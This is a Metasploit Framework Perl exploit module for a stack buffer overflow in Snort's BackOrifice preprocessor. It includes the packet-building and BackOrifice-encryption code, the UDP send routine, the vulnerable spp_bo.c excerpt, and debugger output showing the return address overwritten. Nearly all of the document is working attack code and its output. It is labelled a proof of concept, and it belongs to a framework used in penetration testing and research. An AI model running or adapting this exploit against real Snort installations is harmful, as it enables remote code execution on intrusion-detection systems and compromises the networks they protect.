
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::snort_bo_ping;
use base 'Msf::Exploit';
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
	'Name'    => 'Snort BackOrifice PING Buffer Overflow (PoC)',
	'Version' => '$Revision: 1.33 $',
	'Authors' =>
	  [
		'H D Moore <hdm [at] metasploit.com>'
	  ],

	'Description'  => Pex::Text::Freeform(qq{
	This module exploits a stack overflow in the Snort BackOrifice preprocessor.
	This is just a PoC right now...
}),

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'linux' ],
	'Priv'  => 1,

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 53],
	  },

	'Payload' =>
	  {
		'Space'     => 1024,
		'BadChars'  => "\x00",
		'MinNops'   => 512,
		'Keys'      => ['+ws2ord'],
	  },

	'Refs'  =>
	  [

	  ],

	'DefaultTarget' => 0,
	'Targets' =>
	  [
		['Test Target', 0x41424344],
	  ],

	'Keys' => ['snort'],

	'DisclosureDate' => 'Oct 18 2005',
	
  };


sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub BORand {
	my $self = shift;
	return ($self->{'BOSeed'} = (($self->{'BOSeed'} * 214013) + 2531011) % (2**32));
}

sub BOCrypt {
	my $self = shift;
	my $data = shift;
	my $res;
	
	foreach my $c (unpack("C*", $data)) {
		$res .= chr($c ^ ($self->BORand() >> 16 & 0xFF) );
	}
	return $res;
}

sub Exploit {
	my $self = shift;
	my $target_host  = $self->GetVar('RHOST');
	my $target_port  = $self->GetVar('RPORT');
	my $target       = $self->Targets->[ $self->GetVar('TARGET') ];	
	my $shellcode    = $self->GetVar('EncodedPayload')->Payload;

	# MAGIC 	8
	# LEN 	4
	# ID 	4
	# T 	1
	# DATA 	variable
	# CRC 	1

	# This length values results in a negative value for "len"
	my $pwn  = "X" x 32764;
	
	# The shellcode is half nops, just for testing right now
	substr($pwn, 0, length($shellcode), $shellcode);
	
	substr($pwn, 1040, 4, "\x01\x01\x01\x01");  # Patch "i" in a magic way
	substr($pwn, 1052, 4, "\x02\x02\x01\x01");  # Path "len" so its slightly more than "i"
	substr($pwn, 1068, 4, pack('V', $target->[1]));

	# Terminate the overwrite only after we smashed the return address
	substr($pwn, 1072, 1, "\x00");
	
	# Set the ping type
	my $type = pack('C', 0x40 + 0x01); # Ping
	my $data = $pwn . "PONG";
	my $pong = 
		
		"*!*QWTY?".	# Magic
		pack('V', length($data)).
		pack('N', rand(0xffffffff)).
		$type.
		$data.
		"X";

	$self->{'BOSeed'} = 0x7a69; # Randomize this :-)
	
	$pong = $self->BOCrypt($pong);

	my $sock = Msf::Socket::Udp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
	  );

	if ($sock->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
		return;
	}
	
	$sock->Send($pong);
	$sock->Recv(-1, 2);
}

__DATA__

spp_bo.c - v2.4.2
----------------------------------------------------------------
    while ( i < len )
    {
        plaintext = (char) (*pkt_data ^ (BoRand()%256));
        *buf_ptr = plaintext;

		if ( buf_ptr > (buf1 + sizeof(buf1)) ) {
			printf("SMASH: %d/%d [%.2x > %.2x] @ 0x%.8x\n",
					i, len,
					(unsigned char) *pkt_data,
					(unsigned char) *buf_ptr,
					buf_ptr);				
		}

		i++;
        pkt_data++;
        buf_ptr++;

        if ( plaintext == 0 ) {
			printf("*** reset buf_ptr to 0x%.8x\n", buf2);
			buf_ptr = buf2;
		}
    }
----------------------------------------------------------------		

SMASH: 1025/-32786 [87 > 58] @ 0xbf9dbb41
SMASH: 1026/-32786 [39 > 58] @ 0xbf9dbb42
SMASH: 1027/-32786 [57 > 58] @ 0xbf9dbb43
SMASH: 1028/-32786 [4b > 58] @ 0xbf9dbb44
SMASH: 1029/-32786 [94 > 58] @ 0xbf9dbb45
SMASH: 1030/-32786 [de > 58] @ 0xbf9dbb46
SMASH: 1031/-32786 [4c > 58] @ 0xbf9dbb47
SMASH: 1032/-32786 [bf > 58] @ 0xbf9dbb48
SMASH: 1033/-32786 [bd > 58] @ 0xbf9dbb49
SMASH: 1034/-32786 [e1 > 58] @ 0xbf9dbb4a
SMASH: 1035/-32786 [11 > 58] @ 0xbf9dbb4b
SMASH: 1036/-32786 [78 > 58] @ 0xbf9dbb4c
SMASH: 1037/-32786 [ab > 58] @ 0xbf9dbb4d
SMASH: 1038/-32786 [fe > 58] @ 0xbf9dbb4e
SMASH: 1039/-32786 [21 > 58] @ 0xbf9dbb4f
SMASH: 1025/-32786 [ef > 01] @ 0xbf9dbb50
SMASH: 258/-32786 [b0 > 01] @ 0xbf9dbb51
SMASH: 65795/-32786 [33 > 01] @ 0xbf9dbb52
SMASH: 16843012/-32786 [c5 > 01] @ 0xbf9dbb53
SMASH: 16843013/-32786 [27 > 58] @ 0xbf9dbb54
SMASH: 16843014/-32786 [b0 > 58] @ 0xbf9dbb55
SMASH: 16843015/-32786 [56 > 58] @ 0xbf9dbb56
SMASH: 16843016/-32786 [bf > 58] @ 0xbf9dbb57
SMASH: 16843017/-32786 [75 > 58] @ 0xbf9dbb58
SMASH: 16843018/-32786 [81 > 58] @ 0xbf9dbb59
SMASH: 16843019/-32786 [d4 > 58] @ 0xbf9dbb5a
SMASH: 16843020/-32786 [e6 > 58] @ 0xbf9dbb5b
SMASH: 16843021/-33022 [f4 > 02] @ 0xbf9dbb5c
SMASH: 16843022/-65022 [d9 > 02] @ 0xbf9dbb5d
SMASH: 16843023/-16711166 [b3 > 01] @ 0xbf9dbb5e
SMASH: 16843024/16843266 [06 > 01] @ 0xbf9dbb5f
SMASH: 16843025/16843266 [74 > 58] @ 0xbf9dbb60
SMASH: 16843026/16843266 [1d > 58] @ 0xbf9dbb61
SMASH: 16843027/16843266 [d6 > 58] @ 0xbf9dbb62
SMASH: 16843028/16843266 [30 > 58] @ 0xbf9dbb63
SMASH: 16843029/16843266 [35 > 58] @ 0xbf9dbb64
SMASH: 16843030/16843266 [d6 > 58] @ 0xbf9dbb65
SMASH: 16843031/16843266 [90 > 58] @ 0xbf9dbb66
SMASH: 16843032/16843266 [ec > 58] @ 0xbf9dbb67
SMASH: 16843033/16843266 [8e > 58] @ 0xbf9dbb68
SMASH: 16843034/16843266 [eb > 58] @ 0xbf9dbb69
SMASH: 16843035/16843266 [26 > 58] @ 0xbf9dbb6a
SMASH: 16843036/16843266 [32 > 58] @ 0xbf9dbb6b
SMASH: 16843037/16843266 [30 > 44] @ 0xbf9dbb6c
SMASH: 16843038/16843266 [9a > 43] @ 0xbf9dbb6d
SMASH: 16843039/16843266 [09 > 42] @ 0xbf9dbb6e
SMASH: 16843040/16843266 [3f > 41] @ 0xbf9dbb6f
SMASH: 16843041/16843266 [fb > 00] @ 0xbf9dbb70
*** reset buf_ptr to 0xbf9db340

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb)   
